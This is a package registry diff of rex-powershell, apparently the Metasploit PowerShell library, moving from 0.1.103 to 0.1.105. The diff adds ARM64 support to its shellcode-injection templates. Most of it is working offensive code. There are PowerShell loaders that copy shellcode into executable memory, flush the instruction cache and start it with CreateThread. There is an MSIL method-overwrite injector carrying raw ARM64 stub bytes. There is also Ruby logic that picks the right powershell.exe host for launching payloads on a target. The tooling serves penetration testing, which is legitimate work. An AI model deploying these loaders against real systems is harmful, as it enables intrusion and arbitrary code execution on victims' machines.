rex-powershell 0.1.103 → 0.1.105
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/data/templates/to_mem_dotnet.ps1.template +2 -0
- data/data/templates/to_mem_msil.ps1.template +15 -2
- data/data/templates/to_mem_old.ps1.template +4 -0
- data/data/templates/to_mem_pshreflection.ps1.template +2 -1
- data/lib/rex/powershell/command.rb +46 -9
- data/lib/rex/powershell/payload.rb +5 -0
- data/lib/rex/powershell/version.rb +1 -1
- metadata +2 -2
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 229c3e9da070656dd48d0f94df036a0fb1649d2ae76d0b64a284dd823f25e24f
|
|
4
|
+
data.tar.gz: c0aee4bd384ad79bc3a08c26467fd8f8d4a58b43016939ab0f0a633efc93641c
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: b0db46889ac226f83686e45aa9938f2068e41c6e6a7ccfe9f6ee922199c3da6a6caff10343a621b9d9cbaa5ad38f867111bf4a472a0b4b1512bcf124a6de3952
|
|
7
|
+
data.tar.gz: 05d9d722eaa582f4f7680b56f6ce8c9d20ce97f22934086c66d124045acd37d12f90fb72c3c777197c084e31acc67c80417b1e6104afd66c428727f50b5281c3
|
|
@@ -9,6 +9,7 @@ $%{var_syscode} = @"
|
|
|
9
9
|
[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
|
|
10
10
|
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
|
11
11
|
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, int dwSize, int flNewProtect,out int lpflOldProtect);
|
|
12
|
+
[DllImport("kernel32.dll")] public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
|
|
12
13
|
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
|
13
14
|
[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
|
|
14
15
|
}
|
|
@@ -29,6 +30,7 @@ if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
|
|
|
29
30
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
|
|
30
31
|
|
|
31
32
|
if ([%{var_kernel32}.func]::VirtualProtect($%{var_baseaddr},[Uint32]$%{var_code}.Length + 1, [%{var_kernel32}.func+MemoryProtection]::Execute, [Ref]$%{var_opf}) -eq $true ) {
|
|
33
|
+
[%{var_kernel32}.func]::FlushInstructionCache([IntPtr](-1), $%{var_baseaddr}, [UIntPtr]($%{var_code}.Length + 1)) | Out-Null
|
|
32
34
|
[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
|
|
33
35
|
if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
|
|
34
36
|
$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)
|
|
@@ -46,9 +46,18 @@ $%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Xor)
|
|
|
46
46
|
$%{var_dyn_meth}.Emit([System.Reflection.Emit.OpCodes]::Ret)
|
|
47
47
|
$%{var_tgt_meth} = ($%{var_dyn_type}.CreateType()).GetMethod('%{str_tgt_meth}')
|
|
48
48
|
|
|
49
|
+
if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
|
|
50
|
+
$%{var_flush_type} = %{func_build_dyn_type}('%{str_flush_type}')
|
|
51
|
+
$%{var_flush_method} = $%{var_flush_type}.DefinePInvokeMethod('%{str_flush_method}', 'kernel32.dll', 'FlushInstructionCache', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static -bOr [System.Reflection.MethodAttributes]::PinvokeImpl, [System.Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([IntPtr], [IntPtr], [UIntPtr]), [System.Runtime.InteropServices.CallingConvention]::Winapi, [System.Runtime.InteropServices.CharSet]::Auto)
|
|
52
|
+
$%{var_flush_method}.SetImplementationFlags($%{var_flush_method}.GetMethodImplementationFlags() -bOr [System.Reflection.MethodImplAttributes]::PreserveSig)
|
|
53
|
+
$%{var_flush_method} = ($%{var_flush_type}.CreateType()).GetMethod('%{str_flush_method}')
|
|
54
|
+
}
|
|
55
|
+
|
|
49
56
|
foreach ($Exec in 1..20) { $%{var_tgt_meth}.Invoke($null, @(0x11112222)) | Out-Null }
|
|
50
57
|
|
|
51
|
-
if (
|
|
58
|
+
if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
|
|
59
|
+
$%{var_sc} = [Byte[]] @(0xF3,0x53,0xBA,0xA9,0xF5,0x5B,0x01,0xA9,0xF7,0x63,0x02,0xA9,0xF9,0x6B,0x03,0xA9,0xFB,0x73,0x04,0xA9,0xFD,0x7B,0x05,0xA9,0x09,0x00,0x00,0x94,0xFD,0x7B,0x45,0xA9,0xFB,0x73,0x44,0xA9,0xF9,0x6B,0x43,0xA9,0xF7,0x63,0x42,0xA9,0xF5,0x5B,0x41,0xA9,0xF3,0x53,0xC6,0xA8,0x00,0x00,0x80,0xD2,0xC0,0x03,0x5F,0xD6)
|
|
60
|
+
} elseif ( [IntPtr]::Size -eq 4 ) {
|
|
52
61
|
$%{var_sc} = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
|
|
53
62
|
} else {
|
|
54
63
|
$%{var_sc} = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,0x31,0xC0,0xC3)
|
|
@@ -58,10 +67,14 @@ $%{var_sc_addr} = [Runtime.InteropServices.Marshal]::AllocHGlobal($%{var_sc}.Len
|
|
|
58
67
|
[Runtime.InteropServices.Marshal]::Copy($%{var_sc}, 0, $%{var_sc_addr}, $%{var_sc}.Length)
|
|
59
68
|
|
|
60
69
|
$%{var_args} = New-Object Object[](3)
|
|
61
|
-
$%{
|
|
70
|
+
$%{var_tgt_addr} = [IntPtr]$(%{func_get_meth_addr} $%{var_tgt_meth})
|
|
71
|
+
$%{var_args}[0] = $%{var_tgt_addr}
|
|
62
72
|
$%{var_args}[1] = $%{var_sc_addr}
|
|
63
73
|
$%{var_args}[2] = $%{var_sc}.Length
|
|
64
74
|
|
|
65
75
|
$%{var_src_meth}.Invoke($null, $%{var_args})
|
|
76
|
+
if ($env:PROCESSOR_ARCHITECTURE -eq 'ARM64') {
|
|
77
|
+
$%{var_flush_method}.Invoke($null, @([IntPtr](-1), $%{var_tgt_addr}, [UIntPtr]$%{var_sc}.Length)) | Out-Null
|
|
78
|
+
}
|
|
66
79
|
|
|
67
80
|
$%{var_tgt_meth}.Invoke($null, @(0x11112222))
|
|
@@ -2,6 +2,8 @@ $%{var_syscode} = @"
|
|
|
2
2
|
[DllImport("kernel32.dll")]
|
|
3
3
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
|
4
4
|
[DllImport("kernel32.dll")]
|
|
5
|
+
public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);
|
|
6
|
+
[DllImport("kernel32.dll")]
|
|
5
7
|
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
|
6
8
|
"@
|
|
7
9
|
|
|
@@ -13,4 +15,6 @@ $%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,[Math]::Max($%{var_code}.Length
|
|
|
13
15
|
|
|
14
16
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code},0,$%{var_rwx},$%{var_code}.Length)
|
|
15
17
|
|
|
18
|
+
$%{var_win32_func}::FlushInstructionCache([IntPtr](-1),$%{var_rwx},[UIntPtr]$%{var_code}.Length) | Out-Null
|
|
19
|
+
|
|
16
20
|
$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)
|
|
@@ -24,6 +24,7 @@ $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctio
|
|
|
24
24
|
|
|
25
25
|
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
|
|
26
26
|
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualProtect), (%{func_get_delegate_type} @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($%{var_buffer}, [Uint32]$%{var_code}.Length, 0x10, [Ref]$%{var_opf})) -eq $true) {
|
|
27
|
-
|
|
27
|
+
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll FlushInstructionCache), (%{func_get_delegate_type} @([IntPtr], [IntPtr], [UIntPtr]) ([Bool]))).Invoke([IntPtr](-1), $%{var_buffer}, [UIntPtr]$%{var_code}.Length) | Out-Null
|
|
28
|
+
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
|
|
28
29
|
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null
|
|
29
30
|
}
|
|
@@ -208,8 +208,14 @@ module Command
|
|
|
208
208
|
# detect the execution environment and spawn the appropriate
|
|
209
209
|
# powershell executable for the payload architecture.
|
|
210
210
|
#
|
|
211
|
+
# ARM64 note: [IntPtr]::Size cannot tell an ARM64 process apart from an x64
|
|
212
|
+
# one, so PROCESSOR_ARCHITECTURE (and PROCESSOR_ARCHITEW6432 for a 32-bit
|
|
213
|
+
# process on Windows-on-ARM) is consulted first. A payload_arch of
|
|
214
|
+
# 'aarch64' targets the native ARM64 powershell.exe under System32
|
|
215
|
+
# (reached via sysnative when the current process is 32-bit).
|
|
216
|
+
#
|
|
211
217
|
# @param ps_code [String] Powershell code
|
|
212
|
-
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
|
218
|
+
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
|
|
213
219
|
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
|
214
220
|
# @param opts [Hash] The options for generate_psh_args
|
|
215
221
|
#
|
|
@@ -240,20 +246,51 @@ $p=[System.Diagnostics.Process]::Start($s)
|
|
|
240
246
|
EOS
|
|
241
247
|
process_start_info.gsub!("\n", ';')
|
|
242
248
|
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
249
|
+
# Path helpers keep the emitted PowerShell readable and single-quoted so no
|
|
250
|
+
# further escaping is required at the target.
|
|
251
|
+
native_ps = "$b='powershell.exe'"
|
|
252
|
+
syswow64_ps = "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'"
|
|
253
|
+
sysnative_ps = "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"
|
|
254
|
+
|
|
255
|
+
# On Windows-on-ARM the native host is the ARM64 powershell.exe; the
|
|
256
|
+
# 32-bit x86 host still lives under SysWOW64. When we're already inside a
|
|
257
|
+
# 32-bit process on WoA, PROCESSOR_ARCHITECTURE reports 'x86' and
|
|
258
|
+
# PROCESSOR_ARCHITEW6432 reports 'ARM64', so we escape to native via
|
|
259
|
+
# sysnative. x86_64 payloads on WoA fall through to native and rely on
|
|
260
|
+
# the OS x64 emulator, which is best-effort.
|
|
261
|
+
arm64_native_branch = case payload_arch
|
|
262
|
+
when 'aarch64' then native_ps
|
|
263
|
+
when 'x86' then syswow64_ps
|
|
264
|
+
else native_ps
|
|
265
|
+
end
|
|
266
|
+
|
|
267
|
+
arm64_wow64_branch = case payload_arch
|
|
268
|
+
when 'aarch64' then sysnative_ps
|
|
269
|
+
when 'x86' then native_ps
|
|
270
|
+
else sysnative_ps
|
|
271
|
+
end
|
|
272
|
+
|
|
273
|
+
intptr4_branch = payload_arch == 'x86' ? native_ps : sysnative_ps
|
|
274
|
+
intptr8_branch = payload_arch == 'x86' ? syswow64_ps : native_ps
|
|
275
|
+
|
|
276
|
+
architecture_detection = <<EOS
|
|
277
|
+
if($env:PROCESSOR_ARCHITECTURE -eq 'ARM64'){
|
|
278
|
+
#{arm64_native_branch}
|
|
279
|
+
}elseif($env:PROCESSOR_ARCHITEW6432 -eq 'ARM64'){
|
|
280
|
+
#{arm64_wow64_branch}
|
|
281
|
+
}elseif([IntPtr]::Size -eq 4){
|
|
282
|
+
#{intptr4_branch}
|
|
246
283
|
}else{
|
|
247
|
-
#{
|
|
284
|
+
#{intptr8_branch}
|
|
248
285
|
};
|
|
249
286
|
EOS
|
|
250
287
|
|
|
251
|
-
|
|
288
|
+
architecture_detection.gsub!("\n", '')
|
|
252
289
|
|
|
253
290
|
if opts[:no_arch_detect]
|
|
254
291
|
return "$b='powershell.exe';#{process_start_info}"
|
|
255
292
|
else
|
|
256
|
-
|
|
293
|
+
architecture_detection + process_start_info
|
|
257
294
|
end
|
|
258
295
|
end
|
|
259
296
|
|
|
@@ -264,7 +301,7 @@ EOS
|
|
|
264
301
|
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
|
265
302
|
#
|
|
266
303
|
# @param pay [String] The payload shellcode
|
|
267
|
-
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
|
304
|
+
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'/'aarch64'
|
|
268
305
|
# @param opts [Hash] The options to generate the command
|
|
269
306
|
# @option opts [Boolean] :persist Loop the payload to cause
|
|
270
307
|
# re-execution if the shellcode finishes
|
|
@@ -277,7 +314,7 @@ EOS
|
|
|
277
314
|
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
|
278
315
|
# before executing the payload
|
|
279
316
|
# @option opts [String] :method The powershell injection technique to
|
|
280
|
-
# use: 'net'/'reflection'/'old'
|
|
317
|
+
# use: 'net'/'reflection'/'old'/'msil'
|
|
281
318
|
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
|
282
319
|
# script within the hidden/architecture detection wrapper
|
|
283
320
|
# @option opts [Boolean] :encode_final_payload Encodes the final
|
|
@@ -95,10 +95,15 @@ module Payload
|
|
|
95
95
|
rig.init_var(:var_sc_addr)
|
|
96
96
|
rig.init_var(:var_sc)
|
|
97
97
|
rig.init_var(:var_src_meth)
|
|
98
|
+
rig.init_var(:var_tgt_addr)
|
|
99
|
+
rig.init_var(:var_flush_type)
|
|
100
|
+
rig.init_var(:var_flush_method)
|
|
98
101
|
rig.init_var(:str_addr_loc)
|
|
99
102
|
rig.init_var(:str_tgt_meth)
|
|
100
103
|
rig.init_var(:str_src_type)
|
|
101
104
|
rig.init_var(:str_tgt_type)
|
|
105
|
+
rig.init_var(:str_flush_type)
|
|
106
|
+
rig.init_var(:str_flush_method)
|
|
102
107
|
|
|
103
108
|
hash_sub = rig.to_h
|
|
104
109
|
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
|
metadata
CHANGED
|
@@ -1,14 +1,14 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: rex-powershell
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.1.
|
|
4
|
+
version: 0.1.105
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
7
|
- Metasploit Hackers
|
|
8
8
|
autorequire:
|
|
9
9
|
bindir: exe
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date:
|
|
11
|
+
date: 2026-08-31 00:00:00.000000000 Z
|
|
12
12
|
dependencies:
|
|
13
13
|
- !ruby/object:Gem::Dependency
|
|
14
14
|
name: rake
|